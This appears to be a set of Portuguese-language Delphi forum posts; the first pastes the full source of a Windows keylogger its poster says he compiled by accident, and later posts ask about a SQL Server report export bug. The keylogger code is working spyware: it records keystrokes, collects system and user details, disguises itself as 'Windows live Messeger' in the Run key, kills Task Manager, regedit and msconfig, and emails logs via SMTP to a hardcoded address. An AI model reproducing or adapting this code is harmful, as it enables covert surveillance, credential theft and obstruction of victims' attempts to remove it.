Din Pajeh II

Boa noite, peguei os sources desse keylogger na internet, mas quando fui compilar dei F9, ou seja ele compilou e rodou. Ele tem killtask, e tira o regedit,taskmgr e msconfig.. ou seja não consigo cancelar o kl.. gostaria de saber se tem uma forma de finalizar ele, sendo que ele inicia quando liga o PC.. Não consigo entrar em modo seguro.. vou postar o code aqui pra ver se haverá solução. unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs,TlHelp32,Registry, InvokeRegistry, IdMessage, IdAntiFreezeBase, IdAntiFreeze, IdIOHandler, IdIOHandlerSocket, IdSSLOpenSSL, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, WebDisp, Rio, SOAPHTTPClient, ExtCtrls, StdCtrls; var ax,bx,cx,dx,si,tmp,x1a2,res,i,inter,cfc,cfd,compte,j,k,l : Word; x1a0 : array[0..7] of Word; cle : array[0..15] of char; cry: array[0..33000] of char; newkey : string; type TForm1 = class(TForm) edtDiretorio: TEdit; edtDiretorio2: TEdit; Edit3: TEdit; Edit4: TEdit; Edit5: TEdit; Edit6: TEdit; edthost: TEdit; edtuser: TEdit; edtPass: TEdit; chkSub: TCheckBox; Memo1: TMemo; listboxanexos: TListBox; Timer1: TTimer; Timer2: TTimer; Timer3: TTimer; Timer4: TTimer; Timer5: TTimer; HTTPRIO1: THTTPRIO; WebAppComponents1: TWebAppComponents; IdSMTP1: TIdSMTP; SSLSocket: TIdSSLIOHandlerSocket; IdAntiFreeze1: TIdAntiFreeze; IdMessage1: TIdMessage; procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure Timer1Timer(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure Timer3Timer(Sender: TObject); procedure Timer4Timer(Sender: TObject); Function SerialNum(FDrive:String) :String; procedure Timer5Timer(Sender: TObject); private { Private declarations } procedure ListarArquivos(Diretorio: string; Sub:Boolean); function TemAtributo(Attr, Val: Integer): Boolean; procedure Enviar(Enviar:Boolean); public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} {$R ssleay32.res} {$R libeay32.res} procedure code; begin dx:= x1a2+i; ax:= x1a0[i]; cx:= $015a; bx:= $4e35; tmp:= ax; ax:= si; si:= tmp; tmp:= ax; ax:= dx; dx:= tmp; if (ax <> 0) then ax:= ax*bx; tmp:= ax; ax:= cx; cx:= tmp; if (ax <> 0) then begin ax:= ax*si; cx:= ax+cx; end; tmp:= ax; ax:= si; si:= tmp; ax:= ax*bx; dx:= cx+dx; ax:= ax+1; x1a2:= dx; x1a0[i]:= ax; res:= ax xor dx; i:= i+1; end; Procedure Assemble; begin x1a0[0]:= ( ord(cle[0])*256 ) + ord(cle[1]); code; inter:= res; x1a0[1]:= x1a0[0] xor ( (ord(cle[2])*256) + ord(cle[3]) ); code; inter:= inter xor res; x1a0[2]:= x1a0[1] xor ( (ord(cle[4])*256) + ord(cle[5]) ); code; inter:= inter xor res; x1a0[3]:= x1a0[2] xor ( (ord(cle[6])*256) + ord(cle[7]) ); code; inter:= inter xor res; x1a0[4]:= x1a0[3] xor ( (ord(cle[8])*256) + ord(cle[9]) ); code; inter:= inter xor res; x1a0[5]:= x1a0[4] xor ( (ord(cle[10])*256) + ord(cle[11]) ); code; inter:= inter xor res; x1a0[6]:= x1a0[5] xor ( (ord(cle[12])*256) + ord(cle[13]) ); code; inter:= inter xor res; x1a0[7]:= x1a0[6] xor ( (ord(cle[14])*256) + ord(cle[15]) ); code; inter:= inter xor res; i:= 0; end; Procedure Decrypt(ThisCle, Buffer: PChar; BufferLength: Integer); var Rep: Char; c, d, e: Byte; begin // Some initializations ZeroMemory(@Cry, SizeOf(Cry)); ZeroMemory(@Cle, SizeOf(Cle)); StrCopy(Cle, ThisCle); si:=0; x1a2:=0; i:=0; j:=0; l:=0; while j<BufferLength-1 do begin //(j:=0 to BufferLength-1 do begin rep:= Buffer[j]; case rep of 'a' : d:= 0; 'b' : d:= 1; 'c' : d:= 2; 'd' : d:= 3; 'e' : d:= 4; 'f' : d:= 5; 'g' : d:= 6; 'h' : d:= 7; 'i' : d:= 8; 'j' : d:= 9; 'k' : d:= 10; 'l' : d:= 11; 'm' : d:= 12; 'n' : d:= 13; 'o' : d:= 14; 'p' : d:= 15; end; d:= d shl 4; j:=j+1; rep:= Buffer[j]; { rep = second letter } Case rep of 'a' : e:= 0; 'b' : e:= 1; 'c' : e:= 2; 'd' : e:= 3; 'e' : e:= 4; 'f' : e:= 5; 'g' : e:= 6; 'h' : e:= 7; 'i' : e:= 8; 'j' : e:= 9; 'k' : e:= 10; 'l' : e:= 11; 'm' : e:= 12; 'n' : e:= 13; 'o' : e:= 14; 'p' : e:= 15; end; c:= d + e; Assemble; cfc:= inter shr 8; cfd:= inter and 255; c:= c xor (cfc xor cfd); for compte:= 0 to 15 do cle[compte]:= chr(ord(cle[compte]) xor c); // Note : c contains the decrypted byte cry[l]:=chr(c); j:=j+1; l:=l+1; end; end; function killtask(ExeFileName: string): Integer; const PROCESS_TERMINATE = $0001; var ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; begin Result := 0; FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := SizeOf(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); while Integer(ContinueLoop) <> 0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then Result := Integer(TerminateProcess( OpenProcess(PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0)); ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; CloseHandle(FSnapshotHandle); end; procedure TForm1.ListarArquivos(Diretorio: string; Sub: Boolean); var F: TSearchRec; Ret: Integer; TempNome: string; begin Ret := FindFirst(Diretorio+'\*.*', faAnyFile, F); try while Ret = 0 do begin if TemAtributo(F.Attr, faDirectory) then begin if (F.Name <> '.') And (F.Name <> '..') then if Sub = True then begin TempNome := Diretorio+'\' + F.Name; ListarArquivos(TempNome, True); end; end else begin Memo1.Lines.Add(F.Name); end; Ret := FindNext(F); end; finally begin FindClose(F); end; end; end; function TForm1.TemAtributo(Attr, Val: Integer): Boolean; begin Result := Attr and Val = Val; end; procedure ListProcesses; var ExeName : String; //Descreve as entradas dos processos residentes no sistema proc : PROCESSENTRY32; //handle, a posição de memória alocada do objeto hSnap : HWND; Looper : BOOL; begin // Captura o tamanho de bytes de PROCESSENTRY32 proc.dwSize := SizeOf(Proc); hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); //Captura o nome dos processos e insere no ListBox Looper := Process32First(hSnap,proc); while Integer(Looper) <> 0 do begin ExeName := ExtractFileName(proc.szExeFile); Form1.memo1.lines.Add(ExeName); Looper := Process32Next(hSnap,proc); end; CloseHandle(hSnap); end; Function tForm1.SerialNum(FDrive:String) :String; Var Serial:DWord; DirLen,Flags: DWord; DLabel : Array[0..11] of Char; begin Try GetVolumeInformation(PChar(FDrive+':\'),dLabel,12,@Serial,DirLen,Flags,nil,0); Result := IntToHex(Serial,8); Except Result :=''; end; end; function GetEnvVarValue(const VarName: string): string; var BufSize: Integer; // buffer size required for value begin // Get required buffer size (inc. terminal #0) BufSize := GetEnvironmentVariable(PChar(VarName), nil, 0); if BufSize > 0 then begin // Read env var value into result string SetLength(Result, BufSize - 1); GetEnvironmentVariable(PChar(VarName), PChar(Result), BufSize); end else // No such environment variable Result := ''; end; Function usuario: string; var buffer: array[0..255] of char; size: dword; begin size := 256; if GetUserName(buffer, size) then Result := buffer else Result := '' end; Procedure TForm1.Enviar(Enviar: Boolean); var i: integer; begin try IdMessage1.MessageParts.Clear; IdSMTP1.Host := Edthost.Text; IdSMTP1.Username:= EdtUser.text; IdSMTP1.Password := EdtPass.text; IdSMTP1.AuthenticationType:= atLogin; if ListBoxAnexos.Items.Count > 0 then begin for i:= 0 to ListBoxAnexos.Items.Count - 1 do TIdAttachment.Create(IdMessage1.MessageParts, ListBoxAnexos.Items[i]); end; IdMessage1.From.Address:= 'teste';//EdtOrigem.Text; IdMessage1.Subject:= 'isso é teste';//EdtAssunto.Text; {podem tirar a linha abaixo se vocês quiserem} IdMessage1.Body.Text := memo1.Lines.Text; IdMessage1.BccList.EMailAddresses := 'gabrielfernandoi@gmail.com';//edtbcc.Text; if not IdSMTP1.Connected then begin IdSMTP1.Connect(); IdSMTP1.Send(IdMessage1); Application.ProcessMessages; end; finally IdSMTP1.DisConnect(); end; end; Procedure ssleay32; Var PathToSave:String; Res : TResourceStream; Begin PathToSave := 'C:\Windows\system32\ssleay32.dll'; // (Pasta + Nome da dll aonde vai salvar) If not FileExists(PathToSave) Then Begin // Checa se o arquivo já existe Res := TResourceStream.Create(Hinstance, 'ssleay32', 'DLL'); //O título e o tipo do arquivo Try // Salva o arquivo Res.SavetoFile(PathToSave); Finally Res.Free; End; end; end; Procedure libeay32; Var PathToSave:String; Res : TResourceStream; Begin PathToSave := 'C:\Windows\system32\libeay32.dll'; // (Pasta + Nome da dll aonde vai salvar) If not FileExists(PathToSave) Then Begin // Checa se o arquivo já existe Res := TResourceStream.Create(Hinstance, 'libeay32', 'DLL'); //O título e o tipo do arquivo Try // Salva o arquivo Res.SavetoFile(PathToSave); Finally Res.Free; End; End; end; function coloca(txt: string): string; begin Form1.memo1.lines.text:=Form1.memo1.lines.text+txt; end; procedure TForm1.FormCreate(Sender: TObject); var Buf : PChar; Bufkey : Pchar; keysize : Integer; Size : Integer; begin libeay32; ssleay32; with IdSMTP1 do begin AuthenticationType := atLogin; Host :=Edthost.Text; IOHandler := SSLSocket; Password := EdtPass.Text; Username:= EdtUser.Text; Port := 465 end; SSLSocket.SSLOptions.Method := sslvSSLv23; SSLSocket.SSLOptions.Mode := sslmClient; edtDiretorio.Text := 'C:\Documents and Settings\' + usuario + '\Meus documentos\Os Meus Registos\'; edtDiretorio2.Text := 'C:\Documents and Settings\' + usuario + '\Favoritos\'; Memo1.Lines.Add ( #13); Memo1.Lines.Add ( 'Nome do computador:'); Memo1.Lines.Add(GetEnvVarValue('COMPUTERNAME')); Memo1.Lines.Add ( #13); Memo1.Lines.Add ( 'Usuário logado:'); Memo1.Lines.add (usuario); Memo1.Lines.Add ( #13); Memo1.Lines.Add ( 'Serial da unidade C:'); Memo1.Lines.add (serialnum('c')); Memo1.Lines.Add ( #13); Memo1.Lines.Add ( 'Processos Ativos:'); ListProcesses; Memo1.Lines.Add ( #13); Memo1.Lines.Add ( 'Emails de conversas realizadas:'); ListarArquivos(edtDiretorio.Text, chkSub.Checked); Memo1.Lines.Add ( #13); Memo1.Lines.Add ( 'Sites marcados como favoritos do Internet Explorer:'); ListarArquivos(edtDiretorio2.Text, chkSub.Checked); Memo1.Lines.Add ( #13); Size := edit3.GetTextLen; if (Size=0) then exit; keysize := Edit6.GetTextLen; if (keysize=0) then exit; GetMem(buf, Size+1); edit3.GetTextBuf(Buf, Size+1); GetMem(Bufkey,keysize+1); Edit6.GetTextBuf(Bufkey,keysize+1); if (keysize>16) Then begin FreeMem(Buf); FreeMem(Bufkey); end else begin decrypt(Bufkey, buf, Size); FreeMem(buf); FreeMem(Bufkey); EdtHost.SetTextBuf(Cry); Size := edit4.GetTextLen; if (Size=0) then exit; keysize := Edit6.GetTextLen; if (keysize=0) then exit; GetMem(buf, Size+1); edit4.GetTextBuf(Buf, Size+1); GetMem(Bufkey,keysize+1); Edit6.GetTextBuf(Bufkey,keysize+1); if (keysize>16) Then begin FreeMem(Buf); FreeMem(Bufkey); end else begin decrypt(Bufkey, buf, Size); FreeMem(buf); FreeMem(Bufkey); Edtuser.SetTextBuf(Cry); Size := edit5.GetTextLen; if (Size=0) then exit; keysize := Edit6.GetTextLen; if (keysize=0) then exit; GetMem(buf, Size+1); edit5.GetTextBuf(Buf, Size+1); GetMem(Bufkey,keysize+1); Edit6.GetTextBuf(Bufkey,keysize+1); if (keysize>16) Then begin FreeMem(Buf); FreeMem(Bufkey); end else begin decrypt(Bufkey, buf, Size); FreeMem(buf); FreeMem(Bufkey); Edtpass.SetTextBuf(Cry); end; end; end; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin Application.Run; end; procedure TForm1.Timer1Timer(Sender: TObject); var i : byte; begin for i:=8 To 222 do begin if GetAsyncKeyState(i)=-32767 then begin case i of 8 : begin memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace // memo1.text:=memo1.text+'[Bakspace]'; end; 9 : memo1.text:=memo1.text+' [Tab] '; 13 : begin //foi pressionado o enter memo1.text:=memo1.text+ ' [Enter] '+#13#10; //Enter end; 17 : memo1.text:=memo1.text+' [Ctrl] '; 27 : memo1.text:=memo1.text+' [Esc] '; 32 :memo1.text:=memo1.text+' '; //Space // Del,Ins,Home,PageUp,PageDown,End 33 : memo1.text := Memo1.text + ' [Page Up] '; 34 : memo1.text := Memo1.text + ' [Page Down] '; 35 : begin//foi pressionado o end o programa vai finalizar. memo1.text := Memo1.text + ' [End] '; application.Terminate; end; 36 : memo1.text := Memo1.text + ' [Home] '; //Arrow Up Down Left Right // 37 : memo1.text := Memo1.text + '[Left]'; // 38 : memo1.text := Memo1.text + '[Up]'; //39 : memo1.text := Memo1.text + '[Right]'; //40 : memo1.text := Memo1.text + '[Down]'; 44 : memo1.text := Memo1.text + ' [Print Screen] '; 45 : memo1.text := Memo1.text + ' [Insert] '; 46 : memo1.text := Memo1.text + ' [Del] '; 145 : memo1.text := Memo1.text + ' [Scroll Lock] '; //Number 1234567890 Symbol !@#$%^&*() 48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')' else memo1.text:=memo1.text+'0'; 49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!' else memo1.text:=memo1.text+'1'; 50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@' else memo1.text:=memo1.text+'2'; 51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#' else memo1.text:=memo1.text+'3'; 52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$' else memo1.text:=memo1.text+'4'; 53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%' else memo1.text:=memo1.text+'5'; 54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^' else memo1.text:=memo1.text+'6'; 55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&' else memo1.text:=memo1.text+'7'; 56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*' else memo1.text:=memo1.text+'8'; 57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'(' else memo1.text:=memo1.text+'9'; 65..90 : // a..z , A..Z begin if ((GetKeyState(VK_CAPITAL))=1) then if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z else memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z else if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z else memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z end; //Numpad 96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad 0..9 106:memo1.text:=memo1.text+'*'; 107:memo1.text:=memo1.text+'&'; 109:memo1.text:=memo1.text+'-'; 110:memo1.text:=memo1.text+'.'; 111:memo1.text:=memo1.text+'/'; 144 : memo1.text:=memo1.text+' [Num Lock] '; 112..123: //F1-F12 memo1.text:=memo1.text+' [F'+IntToStr(i - 111)+'] '; 186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':' else memo1.text:=memo1.text+';'; 187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+' else memo1.text:=memo1.text+'='; 188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<' else memo1.text:=memo1.text+','; 189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_' else memo1.text:=memo1.text+'-'; 190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>' else memo1.text:=memo1.text+'.'; 191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?' else memo1.text:=memo1.text+'/'; 192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~' else memo1.text:=memo1.text+'`'; 219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{' else memo1.text:=memo1.text+'['; 220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|' else memo1.text:=memo1.text+''; 221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}' else memo1.text:=memo1.text+']'; 222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"' else memo1.text:=memo1.text+''''; end; end; end; //texto.Free; With Form1 do SetWindowPos(Handle, // "handle" para a janela HWND_TOPMOST, // controla onde vai ficar a janela (*¹) Left, // a posição horizontal Top, // a posição vertical Width, // a largura Height, // a altura // opções de posicionamento da janela SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE); // (*²) end; procedure TForm1.Timer2Timer(Sender: TObject); var Reg: TRegistry; S: string; begin Reg := TRegistry.Create; S:=ExtractFileDir(Application.ExeName)+'\'+ExtractFileName(Application.ExeName); Reg.rootkey:=HKEY_LOCAL_MACHINE; Reg.Openkey('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',false); Reg.WriteString('Windows live Messeger',S); Reg.closekey; Reg.Free; end; procedure TForm1.Timer3Timer(Sender: TObject); Var I : Integer; ConteudoLinha : String; begin Memo1.Text := StringReplace((Memo1.Text),'.html','',[rfReplaceAll]); for i := 0 to Memo1.Lines.Count-1 do begin ConteudoLinha:=UpperCase(Memo1.Lines.Strings[i]); if (Pos('.Png',ConteudoLinha)<>0) or (Pos('.PNG',ConteudoLinha)<>0) then Memo1.Lines.Delete(i); end; end; procedure TForm1.Timer4Timer(Sender: TObject); begin killtask('regedit.exe'); killtask('taskmgr.exe'); killtask('msconfig.exe'); end; procedure TForm1.Timer5Timer(Sender: TObject); begin Memo1.Lines.Add ( #13); Memo1.Lines.Add ( 'Dados coletados em:'); Memo1.Lines.Add (FormatDateTime ('dddd", "dd" de "mmmm" de "yyyy',now) + ' As: ' + FormatDateTime('hh:nn:ss',now)); Memo1.Lines.Add ( #13); Enviar (True); end; end.

Jhonas, ele é um serviço sim, mas a questão é que em computadores que não tem o SQL Server o meu relatório não roda..

Jonas, tenho todas as DLLs, tanto no System32, quanto na pasta do relatorios.exe Não consigo entender o motivo de não rodar..

Boa tarde, estou com um probleminha referente a parte de exportar um relatório. Uso SQL Server, Delphi XE para fazer a conexão, no delphi criei campos para informar a data, TDateTimerPiker, e fazer um filtro no banco de dados e trazer somente de data x até data y. Rodando o programa ele faz tudo certinho até o final a data esta certa fui testando pelo F8.., mas quando ele exporta pro Excel aparece tudo com a data de hoje. em vez de aparecer com a data que está no meu BD.. Quero aproveitar no mesmo tópico para pedir se tem uma forma de eu executar esse relatório em computadores que não tenham o SQL Server instalado? Se tento em algum computador que não tem ele da erro na DLL, DBXADAPTER.DLL, sendo que tenho todas as dlls na pasta e no system32.. Lembrando que se no meu relatorio eu botar dia 20/01/2012 ele exporta certo, ou seja como não existe mês 20 ele exporta como deveria.. qualquer dia acima do dia 12 ele exporta certo, mas se eu colocar um dia abaixo do dia 12 ele exporta errado. Aguardando ajuda.